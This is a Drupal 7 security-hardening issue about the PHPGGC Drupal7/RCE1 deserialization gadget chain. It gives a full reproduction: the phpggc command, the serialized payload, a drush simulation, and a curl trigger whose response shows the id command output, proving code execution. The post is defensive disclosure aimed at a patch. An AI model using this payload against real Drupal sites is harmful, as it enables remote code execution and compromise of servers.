harden D7 against PHP Gadget Chain Drupal7/RCE1

Problem/Motivation

This was initially posted as a private security issue, but it's been agreed that it can be a public security hardening.

https://github.com/ambionics/phpggc/pull/28

..is fairly old but it still works in Drupal 7.98 today.

$ ./phpggc -i Drupal7/RCE1
Name           : Drupal7/RCE1
Version        : 7.0.8 < ?
Type           : RCE: Command
Vector         : __destruct

Informations   : 
You will need to post form_build_id=DrupalRCE to /?q=system/ajax once the payload is unserialized

./phpggc Drupal7/RCE1 <function> <parameter>

In order for this to be exploitable, there needs to be an unsafe deserialisation vulnerability in the first place, so core is almost certainly not directly exploitable.

Steps to reproduce

You can use drush to simulate exploitation of an insecure deserialisation vulnerability - for example:

1) Prepare the payload (note the flag to enable simple encoding):

$ ./phpggc -s Drupal7/RCE1 system id 

O:11:"SchemaCache":4:{s:6:"%00*%00cid"%3Bs:14:"form_DrupalRCE"%3Bs:6:"%00*%00bin"%3Bs:10:"cache_form"%3Bs:16:"%00*%00keysToPersist"%3Ba:3:{s:8:"#form_id"%3Bb:1%3Bs:8:"#process"%3Bb:1%3Bs:9:"#attached"%3Bb:1%3B}s:10:"%00*%00storage"%3Ba:3:{s:8:"#form_id"%3Bs:9:"DrupalRCE"%3Bs:8:"#process"%3Ba:1:{i:0%3Bs:23:"drupal_process_attached"%3B}s:9:"#attached"%3Ba:1:{s:6:"system"%3Ba:1:{i:0%3Ba:1:{i:0%3Bs:2:"id"%3B}}}}}

2) Use drush php to simulate unsafe deserialisation:

>>> var_dump(unserialize(urldecode('O:11:"SchemaCache":4:{s:6:"%00*%00cid"%3Bs:14:"form_DrupalRCE"%3Bs:6:"%00*%00bin"%3Bs:10:"cache_form"%3Bs:16:"%00*%00keysToPersist"%3Ba:3:{s:8:"#form_id"%3Bb:1%3Bs:8:"#process"%3Bb:1%3Bs:9:"#attached"%3Bb:1%3B}s:10:"%00*%00storage"%3Ba:3:{s:8:"#form_id"%3Bs:9:"DrupalRCE"%3Bs:8:"#process"%3Ba:1:{i:0%3Bs:23:"drupal_process_attached"%3B}s:9:"#attached"%3Ba:1:{s:6:"system"%3Ba:1:{i:0%3Ba:1:{i:0%3Bs:2:"id"%3B}}}}}')));
object(SchemaCache)#5815 (4) {
  ["cid":protected]=>
  string(14) "form_DrupalRCE"
  ["bin":protected]=>
  string(10) "cache_form"
  ["keysToPersist":protected]=>
  array(3) {
    ["#form_id"]=>
    bool(true)
    ["#process"]=>
    bool(true)
    ["#attached"]=>
    bool(true)
  }
  ["storage":protected]=>
  array(3) {
    ["#form_id"]=>
    string(9) "DrupalRCE"
    ["#process"]=>
    array(1) {
      [0]=>
      string(23) "drupal_process_attached"
    }
    ["#attached"]=>
    array(1) {
      ["system"]=>
      array(1) {
        [0]=>
        array(1) {
          [0]=>
          string(2) "id"
        }
      }
    }
  }
}
=> null

There should now be a row in the cache_form table containing the 2nd stage payload:

> SELECT * FROM cache_form;
+----------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------+--------+------------+------------+
| cid            | data                                                                                                                                                          | expire | created    | serialized |
+----------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------+--------+------------+------------+
| form_DrupalRCE | a:3:{s:8:"#form_id";s:9:"DrupalRCE";s:8:"#process";a:1:{i:0;s:23:"drupal_process_attached";}s:9:"#attached";a:1:{s:6:"system";a:1:{i:0;a:1:{i:0;s:2:"id";}}}} |      0 | 1689338824 |          1 |
+----------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------+--------+------------+------------+

3) Trigger the payload with a POST request:

$ curl -i http://drupal-7.x.ddev.site/?q=system/ajax --data 'form_build_id=DrupalRCE'
HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Fri, 14 Jul 2023 13:01:30 GMT
Content-Type: application/json; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
X-Drupal-Ajax-Token: 1
Set-Cookie: SESS264c9fbfb19084e07d9b231ebb613ebc=w5jIuLVNukqF7AEcW-htiUtdlMCKfQN4XOZIKSL2H6M; expires=Sun, 06-Aug-2023 16:34:50 GMT; Max-Age=2000000; path=/; domain=.drupal-7.x.ddev.site; HttpOnly

uid=1000(mcdruid) gid=1000(mcdruid) groups=1000(mcdruid)

[{"command":"settings","settings":{"basePath":"\/","pathPrefix":"","setHasJsCookie":0,"ajaxPageState":{"theme":"bartik","theme_token":"CM8S90VFpFtXTZlyWSRrnOAqfwY4m2tDcq-Zv50WUBw"}},"merge":true}]

The important part of the response is the output of the id shell command, proving RCE.

Proposed resolution

Harden D7 against this, if we can do so without breaking existing functionality.

Remaining tasks

write patch, review, commit etc..

User interface changes

n/a

API changes

none that should affect anyone but an attacker

Data model changes

n/a

Release notes snippet

necessary?